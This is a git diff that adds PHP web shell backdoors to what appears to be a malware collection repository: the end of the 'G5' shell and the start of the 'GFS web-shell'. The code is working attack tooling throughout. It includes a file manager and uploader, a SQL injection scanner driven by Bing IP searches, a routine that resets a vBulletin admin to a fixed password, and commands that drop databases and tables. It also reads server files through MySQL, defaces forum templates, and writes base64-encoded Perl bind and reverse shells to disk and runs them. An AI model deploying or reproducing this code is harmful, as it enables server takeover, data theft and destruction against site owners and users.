here','50','20','<br>'); +inp('text','40','upf',path,'File Name');echo "<br>"; +sub('upff','upload','<br>'); +echo "<a href=\"javascript: history.go(-1)\">Back</a></div>";} + +function wdll_bdx($colr) +{echo "<div align=\"center\"> +<table width=\"70%\" bgcolor=\"".$colr."\" border=\"1\" bordercolor=\"#D78989\" bordercolordark=\"#440606\" bordercolorlight=\"#EEE1E1\" datapagesize=\"10\" name=\"aaa\" title=\"Easy Come Easy GO\"><tr><td>";} + +function wdll_bdy() +{echo "</td></tr></table></div>";} +function wdll_repxl(){echo ("<table width=\"70%\" bgcolor=black cellspacing=\"1\" cellpadding=\"1\">\n<tr><th>Dir and Files</th><th>Type</th><th>Mode</th><th>Size</th></th><th>Last modified</th><th>Action</th>\n");} + +function wdll_repxt($file){$siz = wdll_s1z(@filesize($file));$perm = substr(decoct(@fileperms($file)), -3, 3); +echo "<tr><td class=tdx><a href=\"".$php."?dir=".@base64_encode(@realpath($file))."\">".$file."</a></td><td class=tdx>DIR</td><td class=tdx><font color =\"".wdll_permc($file)."\">".$perm."</font></td><td class=tdx><font color =ffffff>".$siz."</font></td><td class=tdx><font color =orange>".@date ("Y/m/d, H:i:s", @filemtime($file))."</font></td><td class=tdx>...</td>";} + +function wdll_repxtr($file){ + $xtr = @pathinfo($file);$extt = $xtr["extension"];$siz = wdll_s1z(@filesize($file));$perm = substr(decoct(@fileperms($file)), -3, 3); + echo "<tr><td class=tdx><a href=\"".$php."?show=".@base64_encode(@realpath($file))."\">".$file."</a></td><td class=tdx>".$extt."</td><td class=tdx><font color =\"".wdll_permc($file)."\">".$perm."</font></td><td class=tdx><font color =gold>".$siz."</font></td><td class=tdx><font color =orange>".@date ("Y/m/d, H:i:s", @filemtime($file))."</font></td><td class=tdx><a target=\"_blank\"href=\"".$php."?action=".@base64_encode(urlencode(@realpath($file))). "\">Action</a></td>";} + +function head($col4) +{ + $x5 = "<style type=\"text/css\">* { margin: 0; padding: 0; }TD { FONT-SIZE: 8pt; COLOR: #993333; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #993333; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}input{background-color: #993333; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: black; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #993333; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: $col4;}.trx ,{BORDER-RIGHT:red 1px solid;BORDER-LEFT: red 1px solid;BORDER-BOTTOM: green 1px solid;}.tdx {BORDER-RIGHT:red 1px solid;BORDER-LEFT:green 1px solid;BORDER-BOTTOM: red 1px solid;}A:link {COLOR:gold;TEXT-DECORATION: none}A:visited { COLOR:green; TEXT-DECORATION: none}A:active {COLOR:red; TEXT-DECORATION: none}A:hover {color:ffffff;TEXT-DECORATION: none}</style>"; + + $x4 = "<style type='text/css'>* { margin: 0; padding: 0; }* { margin: 0; padding: 0; } +body {background:#000 url(img/background-body-repeat.png) repeat-y top center;color:#fff;font-size:11px;font-family:'Lucida Grande', 'Lucida Sans', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;text-shadow:#000 0 1px 0;} +input {-moz-border-radius:5px;border:0;color:#CCC;background:url(http://lh5.ggpht.com/_Kwwy9VyLMKw/S9nq5_g05bI/AAAAAAAAC_s/CiExZz5uY0Y/background-container.png) no-repeat scroll left top transparent;padding:3px;} +body,table { font-family:verdana;font-size:11px;color:silver;background-color:$col4; }table { width:100%; }table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;padding:5px; }a { color:lightblue;text-decoration:none; }a:active { color:#00FF00; }a:link { color:#5B5BFF; }a:hover { text-decoration:underline; }a:visited { color:#99CCFF; }input,select,option { font:8pt tahoma;color:#ffffff;margin:2;border:1px solid #666666; }textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;margin:2; }.fleft { float:left;text-align:left; }.fright { float:right;text-align:right; }#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-collapse:collapse; }#pagebar td { vertical-align:top; }#pagebar p { font:8pt tahoma;}#pagebar a { font-weight:bold;color:#00FF00; }#pagebar a:visited { color:#00CE00; }#mainmenu { text-align:center; }#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }#maininfo,.barheader,.barheader2 { text-align:center; }#maininfo td { padding:3px; }.barheader { font-weight:bold;padding:5px; }.barheader2 { padding:5px;border:2px solid #1F1F1F; }.contents,.explorer { border-collapse:collapse;}.contents td { vertical-align:top; }.mainpanel { border-collapse:collapse;padding:5px; }.barheader,.mainpanel table,td { border:1px solid #333333; }.mainpanel input,select,option { border:1px solid #333333;margin:0; }input[type='submit'] { border:1px solid #000000; } input[type='text'] { padding:3px;}.shell { background-color:#C0C0C0;color:#000080;padding:5px; }.fxerrmsg { color:red; font-weight:bold; }#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }#pagebar,.mainpanel,input[type='submit'] { background-color:#4A4A4A; }.barheader2,input,select,option,input[type='submit']:hover { background-color:#333333; }textarea,.mainpanel input,select,option { background:#000 url(http://lh3.ggpht.com/_Kwwy9VyLMKw/S9nq5h6budI/AAAAAAAAC_o/JnTYblUixFc/background-body-repeat.png) repeat-y top center;color:#fff;font-size:12px;text-shadow:#000 0 1px 0; }</style>"; + + if(style == 'x5') {$style = $x5;} + elseif(style == 'x4'){$style = $x4;} +echo "<head><title>G5</title> +<div style=\"background: red;\"><p align=\"center\"> +<font size=\"3\" color =\"orange\"><b>G5 v1.6</font></b></p><hr color=\"black\"</div></div><center>"; +echo $style; +echo "</head>";} + + + +function check_url($url,$source){ //Thanks Lagripe-Dz +if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$source)) { +echo "[+] Found -> ".$url."\n"; +} +else{ echo "[~] Not Found -> ".$url."\n"; } +} + +function check_sql_inj($site){ + $result = @file_get_contents("$site%27"); + check_url($site,$result);} + +function mystripos($haystack, $needle){ +return strpos($haystack, stristr( $haystack, $needle ));} + +function sec($ent) +{$bb = str_replace("http://", "", $ent); +$cc = str_replace("www.", "", $bb); +$dd = substr($cc, 0, mystripos($cc, "/")); +return $dd; +} + + +function ft() +{ echo "<br><br><br><div style=\"background: brown;\"><p align=\"center\"> + +<font size=\"2\" color =\"ffffff\"><b>w.dll@live.com 2011 | <a target=_blank href='http://piaster.blogspot.com'>Site</a></b></font></p></div></div>";} + +function wdll_rep($dir, $path, $file) +{ +$lf = @filemtime($dir); +$time = @date("d/m/Y", $lf); +$xtr = @pathinfo($file); +$extt = $xtr["extension"]; +$siz = wdll_s1z(@filesize($dir)); +$perm = substr(decoct(@fileperms($dir)), -3, 3); +$webpath = @getenv("SERVER_NAME"); +$fullp = $webpath.'/'.$dir; +echo ("<tr><td class=tdx><font color = gold><a href=\"".$php."?dir=".@base64_encode(@realpath($path))."\">".$path."</a></font></td><td class=tdx><font color =\"orange\"><a href=\"".$php."?show=".@base64_encode($dir)."\">".$file."</a></font></a></td><td class=tdx><font color = gold>$extt</font></td><td class=tdx><font color =orange>$siz</font></td><td class=tdx><center><font color =gray>" . +@date("d/m/Y", @filectime($dir)) . "</font></td><td class=tdx><center><font color =red>" . @date("d/m/Y", +@filemtime($dir)) . "</font></td><td class=tdx><center><font color =gold>$perm</font></td><td class=tdx><center><a target=\"_blank\" href='$fullp'>view</td><td class=tdx><center><font color =red><center><a target=\"_blank\"href=\"" . +$php . "?action=" . urlencode(@base64_encode($dir)) . "\">Action</a></font></td>");} + +function wdll_repx() +{echo ("<table bgcolor=black width=\"70%\" cellspacing=\"1\" cellpadding=\"1\">\n<tr><th>Dir</th><th>Filename</th><th>Type</th><th>Size</th><th>Inode</th><th>Modify</th></th><th>Mode</th><th>link</th><th>Action</th>\n");} + +function vb_opt() +{ global $log,$db; +$tbl= $_POST['tab1']; +$odbs= $_POST['odb']; +if (!$log){echo 'Could not connect: ' . @mysql_error();} +echo "Login DB Done\n..."; +switch ($_REQUEST["vbss"]){ +case 'vbca': { $vb_wdl = 'UPDATE '.$db.'.user SET username = "wdll",password = "691fed95cba5e31004e7072abd5e98db",salt = "fdd" WHERE user.userid =1 LIMIT 1 '; + $qry = @mysql_query($vb_wdl,$log); +if ($qry) +{ echo "Runing Work ...\n"; } if(@@mysql_affected_rows($log) != 1) +{echo "Done \nUser Name: wdll \nPassword: nora\n..... Enjoy.";} +} break; +case 'vbgm': { $vb_wdl = 'SELECT * FROM user ;'; + $qry = @mysql_query($vb_wdl , $log); +echo'<table border="0" bgcolor="black"><th>ID</th><th>User</th><th>E-mail</th>'; +while ($row = @mysql_fetch_array($qry)) +{echo'<tr><td>' . $row['userid'] . '</td><td>' . $row['username'] . '</td><td>' . $row['email'] . '</td></tr>';} +echo "</table><table border=\"1\" bgcolor=\"800000\"><th> +Total : [".@mysql_num_rows($qry)."]</th></table><br>"; +@mysql_free_result($qry); +@mysql_close($log);} break; + case 'vbro': { $vb_wdl = 'DROP DATABASE '.$odbs.''; + $qry = @mysql_query($vb_wdl ,$log);if($qry) {echo "WORK! Done :).... <br> DATABASE '$odbs' GONE AWAY ^_^";}else {echo '..... Nothing To DO ...*_*';@mysql_close($log);} + } break; + case 'vbrb': { $vb_wdl = 'DROP DATABASE '.$db.''; + $qry = @mysql_query($vb_wdl, $log);if($qry) {echo "WORK! Done :).... <br> DATABASE '$db' GONE AWAY ^_^";}else {echo '.....Nope ... *_*';@mysql_close($log);} + } break; + case 'vbrt': { $vb_wdl = 'DROP TABLE '.$tbl.' '; + $qry = @mysql_query($vb_wdl , $log);if($qry) {echo "WORK! Done :).... <br> TABLE '$tbl' GONE AWAY ^_^";}else {echo '.....Nope ... *_*';@mysql_close($log);}} break; } +echo "<br><a href=\"javascript: history.go(-1)\">Back</a></div>"; } + +function sqlj_do($ip){ // Thanks Lagripe-Dz + +$npages = 500000; +$npage = 1; +$allLinks = array(); + + + while($npage <= $npages) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q=ip%3A' . $ip . '+id=&first=' . $npage); + curl_setopt($ch, CURLOPT_HEADER, 1); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); + curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/'); + curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); + $result['EXE'] = curl_exec($ch); + $result['ERR'] = curl_error($ch); + curl_close($ch); + + if ( empty( $result['ERR'] ) ) + {preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink); + for ($i = 0; $i < count($findlink[1]); $i++) + array_push($allLinks,$findlink[1][$i]); + $npage = $npage + 10; + if (preg_match('(first=' . $npage . '&amp)siU', $result['EXE'], $linksuiv) == 0) break;} + else break;} + +$allDmns = array(); + foreach ($allLinks as $kk => $vv){ + $allDmns[] = $vv; + } + $resultPages = array_unique($allDmns); + sort($resultPages) ; + + +for ($x = 0; $x < count($resultPages); $x++){ +$h3h3 = $resultPages[$x]; +check_sql_inj($h3h3); +} + +echo "\nINFO / IP : ".$ip." / Total Domain Scaned : ".count($resultPages)."\nFINISHED ";} + +//------------------------------------Thanx Itsec Team |ADAPTED|------------------------------------------- + +function sqlexp(){ +global $log; +if(!empty($_REQUEST['sqsrv']) && !empty($_REQUEST['sqlog']) && isset($_REQUEST['sqpwd']) && !empty($_REQUEST['sqquery'])) +{$sqlserv=$_REQUEST['sqsrv'];$sqlty=$_REQUEST['sqlty'];$pass=$_REQUEST['sqpwd'];$user=$_REQUEST['sqlog'];$query=$_REQUEST['sqquery']; +$db=(empty($_REQUEST['sqdbn']))?'':$_REQUEST['sqdbn']; +$_SESSION[sqlserv]=$_REQUEST['sqsrv'];$_SESSION[sqlty]=$_REQUEST['sqlty'];$_SESSION[qpwd]=$_REQUEST['sqpwd'];$_SESSION[userr]=$user;} + +if (isset ($_GET['select_db'])){$getdb=$_GET['select_db'];$_SESSION[db]=$getdb;$query="SHOW TABLES";$res=sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],$query);} +elseif (isset ($_GET[select_tbl])){$tbl=$_GET[select_tbl];$_SESSION[tbl]=$tbl; +$query="SELECT * FROM `$tbl`";$res=sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],$query);} +elseif (isset ($_GET[drop_db])){ +$getdb=$_GET[drop_db];$_SESSION[db]=$getdb;$query="DROP DATABASE `$getdb`"; +sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],'',$query); +$res=sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],'','SHOW DATABASES');} +elseif (isset ($_GET[drop_tbl])){$getbl=$_GET[drop_tbl];$query="DROP TABLE `$getbl`"; +sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],$query); +$res=sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],'SHOW TABLES');} +elseif (isset ($_GET[drop_row])){$getrow=$_GET[drop_row];$getclm=$_GET[clm];$query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";$tbl=$_SESSION[tbl]; +sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],$query); +$res=sqlqu($_SESSION[sqlty],$_SESSION[sqlserv],$_SESSION[userr],$_SESSION[qpwd],$_SESSION[db],"SELECT * FROM `$tbl`");} +else$res=sqlqu($sqlty,$sqlserv,$user,$pass,$db,$query); +if($res){$res=htmlspecialchars($res);$row=array ();$title=explode('*',$res);$trow=explode('-',$title[1]);$row=explode('-+',$title[0]);$data=array();$field=$trow[count($trow)-2]; +if (strstr($trow[0],'Database')!='')$obj='db'; +elseif (substr($trow[0],0,6)=='Tables') +$obj='tbl';else$obj='row';$i=0;foreach ($row as $a){if($a!='')$data[$i++]=explode('+',$a);} + +echo "<table border=1 bordercolor='brown' cellpadding='2' bgcolor='silver' width='100%' style='border-collapse: collapse'><tr>"; +foreach ($trow as $ti)echo "<td bgcolor='brown'>$ti</td>";echo "</tr>";$j=0; +while ($data[$j]){echo "<tr>";foreach ($data[$j++] as $dr){echo "<td>";if($obj!='row') echo "<a href='$php?do=db&select_$obj=$dr'>";echo $dr;if($obj!='row') echo "</a>";echo "</td>";}echo "<td><a href='$php?do=db&drop_$obj=$dr"; +if($obj=='row')echo "&clm=$field";echo "'>Drop</a></td></tr>";}echo "</table><br>";}} + +function sqlqu($sqlty,$host,$user,$pass,$db='',$query){ +$res=''; +switch($sqlty){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=@mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))@mysql_select_db($db,$link); +$result=@mysql_query($query,$link); +if ($result!=1){ +while($data=@mysql_fetch_row($result))$res.=implode('+',$data).'-+'; +$res.='*'; +for($i=0;$i<@mysql_num_fields($result);$i++) +$res.=@mysql_field_name($result,$i).'-';} +@mysql_close($link); +return $res;}break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=@mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))@mssql_select_db($db,$link); +$result=@mssql_query($query,$link); +while($data=@mssql_fetch_row($result))$res.=implode('+',$data).'-+'; +$res.='*'; +for($i=0;$i<@mssql_num_fields($result);$i++) +$res.=@mssql_field_name($result,$i).'-'; +@mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=@ocilogon($user,$pass,$db); +if($link){ +$stm=@ociparse($link,$query); +@ociexecute($stm,OCI_DEFAULT); +while($data=@ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('+',$data).'-+'; +$res.='*'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=@oci_field_name($stm,$i).'-'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=@pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=@pg_query($link,$query); +while($data=@pg_fetch_row($result))$res.=implode('+',$data).'-+'; +$res.='*'; +for($i=0;$i<@pg_num_fields($result);$i++) +$res.=@pg_field_name($result,$i).'-'; +@pg_close($link); +return $res; +} +break; +case 'DB2': +if(!function_exists('db2_connect'))return 0; +$link=@db2_connect($db,$user,$pass); +if($link){ +$result=@db2_exec($link,$query); +while($data=@db2_fetch_row($result))$res.=implode('+',$data).'-+'; +$res.='*'; +for($i=0;$i<@db2_num_fields($result);$i++) +$res.=@db2_field_name($result,$i).'-'; +@db2_close($link); +return $res; +} +break; +} +return 0; +} +//------------------------------------END Itsec Team ------------------------------------------- + +function wdll_dbc() +{ +global $log; +if($log){ $querys = @explode(';',sql_query); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "<br>Query# ::<font face=Verdana size=-2 color=green><b>".$num." : ".htmlspecialchars($query)."</b></font><br>"; +$qry = @mysql_query($query,$log); $error = @mysql_error($log); if($error) { + echo "<table width=50% bgcolor=black ><tr class=trx><td class=tdx><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } +else {if (@mysql_num_rows($qry) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mysql_fetch_assoc($qry))) { $keys = @implode("&nbsp;</b></font></td><td class=tdx bgcolor=red><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); +$values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} +$values = @implode("&nbsp;</font></td><td class=tdx><font face=Verdana size=-2>&nbsp;",$values); +$sql2 .= "<tr class=trx><td class=tdx><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; +} echo "<table width=100%>";$sql = "<tr class=trx><td class=tdx bgcolor=orange><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";$sql .= $sql2;echo $sql;echo "</table><br>";if(($rows = @mysql_affected_rows($log))>=0) { echo "<table width=100%><tr class=trx><td class=tdx><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; }}else { if(($rows = @mysql_affected_rows($log))>=0) { echo "<table width=100% bgcolor=black ><tr class=trx><td class=tdx><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }}@mysql_free_result($qry);}} @mysql_close($log);} else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";} + +function db_mass($coded,$msi) +{global $db,$log; +if (!$log){echo 'Could not connect:' . @mysql_error($log);}else +echo "Login DB Done ^_*<br>"; +$other = stripcslashes($_POST['msqur']); +$wdll =''; +switch($msi){ +case('msvb'):{ +$wdll ='UPDATE '.$db.'.template SET template = \''.$coded.'\' WHERE title = "FORUMHOME"'; +$wdlll = 'UPDATE '.$db.'.template SET template =\''.$coded.'\' WHERE title ="spacer_open"'; }break;//VB +case('msbb'):{}break; +case('msin'):{}break; +case('mswp'):{}break; +case('msjo'):{}break; +case('msrd'):{$wdll = 'DROP DATABASE '.$db.'';}break; +case('msot'):{$wdll = $other;}break;} +$qry = @mysql_query($wdll, $log);if($qry) {echo "WORK! Done<br>";} +if($msi = 'msvb'){ +$qry = @mysql_query($wdlll , $log);} +if($qry){echo "<br>L00K ...<a href = 'http://" . $_SERVER['HTTP_HOST'] . "'target= _balnk>http://" . $_SERVER['HTTP_HOST'] . "</a> Enjoy...^_^"; +}@mysql_close($log); +unset($wdll); +echo "<br><br><a href=\"javascript: history.go(-1)\">Back</a>";} + +function sqlf($filehd) + { global $log ; +if (!$log){echo 'Could not connect: ' . @mysql_error($log);} +$qrt = 'CREATE TABLE `wdll` ('. ' `wdll` LONGBLOB NOT NULL'. ' );'; +$qry = "LOAD DATA INFILE \"".$filehd."\" INTO TABLE wdll"; +$qrf = "SELECT * FROM wdll;"; +$qrd = "DROP TABLE wdll;"; + @mysql_query($qrt , $log); + @mysql_query($qry, $log); + $rs= @mysql_query($qrf, $log); + if (!$rs) {echo "\nError in reading file (permision denied)!\n";} + else + {$file = ""; + while ($row = @mysql_fetch_array($rs, MYSQL_ASSOC)) + {$file .= @join ("\r\n",$row);} + if (empty($file)) + {echo "\nFile \"".$filehd."\" does not exists or empty!\n";} + else + {echo $file;} + @mysql_free_result($rs); + @mysql_query($qrd, $log);}} + +function bbc($bo ,$ip ='' ){ + +if($_REQUEST['lbg']) +{$lbpi="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0oJy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g"; +$op=@fopen("lbg.pl","w"); +@fwrite($op,@base64_decode($lbpi)); +@fclose($op); +if(wdll_chf()) {wdll_cmdf("perl lbg.pl $bo");echo "<br>connected to $bo ";echo "<script type='text/javascript'>alert('connected to $bo')</script>";} else die("<br>I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode $bo");} +if($_REQUEST['wbp']) +{$wbpi="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmluZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIsIFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVOVCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g"; +$op=@fopen("wbg.pl","w"); +@fwrite($op,@base64_decode($wbp)); +@fclose($op); +if(wdll_chf()) {wdll_cmdf("perl wbg.pl $bo"); echo "<br>connected to $bo";echo "<script type='text/javascript'>alert('connected to $bo')</script>";} else die("<br>I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode $bo");} +if($_REQUEST['bpg'] ) +{$bpgi ="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1ZbMV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlwdC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5nIHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNoYW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGllKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwogIG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow=="; +$op =@fopen("bcc.pl","w"); +@fwrite($op,@base64_decode($bpgi)); +@fclose($op); +if(wdll_chf()) {wdll_cmdf("perl bpg.pl $ip $bo"); echo "<br>connected to $ip $bo";echo "<script type='text/javascript'>alert('connected to $ip $bo')</script>";}else die("<br>I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode ");}} +function wdir(){foreach (@range("A","Z") as $dr) {if (@is_dir($dr.":\\")){$drr=$dr.":\\";$ddr=$ddr.'<a href="?dir='.@base64_encode($drr).'"><font size=2>'.$dr.':-- </a></font>';}}echo $ddr;} + +wdll_bdy(); +ft(); +// G5 (W.DLL) v2.0 8/8/2010 - last edit 20/9/2011) Lines after gzip = 1393 size = 86KB Coded by Piaster (wadelamin) +//for bug: w.dll@live.com. + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/GFS web-shell ver 3.1.7 - PRiV8.txt b/web-malware-collection-master/Backdoors/PHP/GFS web-shell ver 3.1.7 - PRiV8.txt new file mode 100755 index 0000000..603741e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/GFS web-shell ver 3.1.7 - PRiV8.txt @@ -0,0 +1,618 @@ +<? +/* +************************* +* ###### ##### ###### * +* ###### ##### ###### * +* ## ## ## * +* ## #### ###### * +* ## ## #### ###### * +* ## ## ## ## * +* ###### ## ###### * +* ###### ## ###### * +* * +* Group Freedom Search! * +************************* +GFS Web-Shell +*/ +error_reporting(0); +if($_POST['b_down']){ + $file=fopen($_POST['fname'],"r"); + ob_clean(); + $filename=basename($_POST['fname']); + $filedump=fread($file,filesize($_POST['fname'])); + fclose($file); + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); +} +if($_POST['b_dtable']){ + $dump=down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + if($dump!=""){ + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$_POST['tablename'].".dmp\";"); + echo down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + exit(); + }else + die("<b>Error dump!</b><br> table=".$_POST['tablename']."<br> db=".$_POST['dbname']."<br> host=".$_POST['host']."<br> user=".$_POST['username']."<br> pass=".$_POST['pass']); +} +set_magic_quotes_runtime(0); +set_time_limit(0); +ini_set('max_execution_time',0); +ini_set('output_buffering',0); +if(version_compare(phpversion(), '4.1.0')==-1){ + $_POST=&$HTTP_POST_VARS; + $_GET=&$HTTP_GET_VARS; + $_SERVER=&$HTTP_SERVER_VARS; +} +if (get_magic_quotes_gpc()){ + foreach ($_POST as $k=>$v){ + $_POST[$k]=stripslashes($v); + } + foreach ($_SERVER as $k=>$v){ + $_SERVER[$k]=stripslashes($v); + } +} +if ($_POST['username']==""){ + $_POST['username']="root"; +} +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////// ���������� /////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; +$r_act=$_POST['r_act']; +$safe_mode=ini_get('safe_mode'); //������ ����������� ������ +$mysql_stat=function_exists('mysql_connect'); //������� mysql +$curl_on=function_exists('curl_version'); //������� cURL +$dis_func=ini_get('disable_functions'); //�������������� ������� +$HTML=<<<html +<html> +<head> +<title>GFS web-shell ver 3.1.7</title> +</head> +<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> +html; 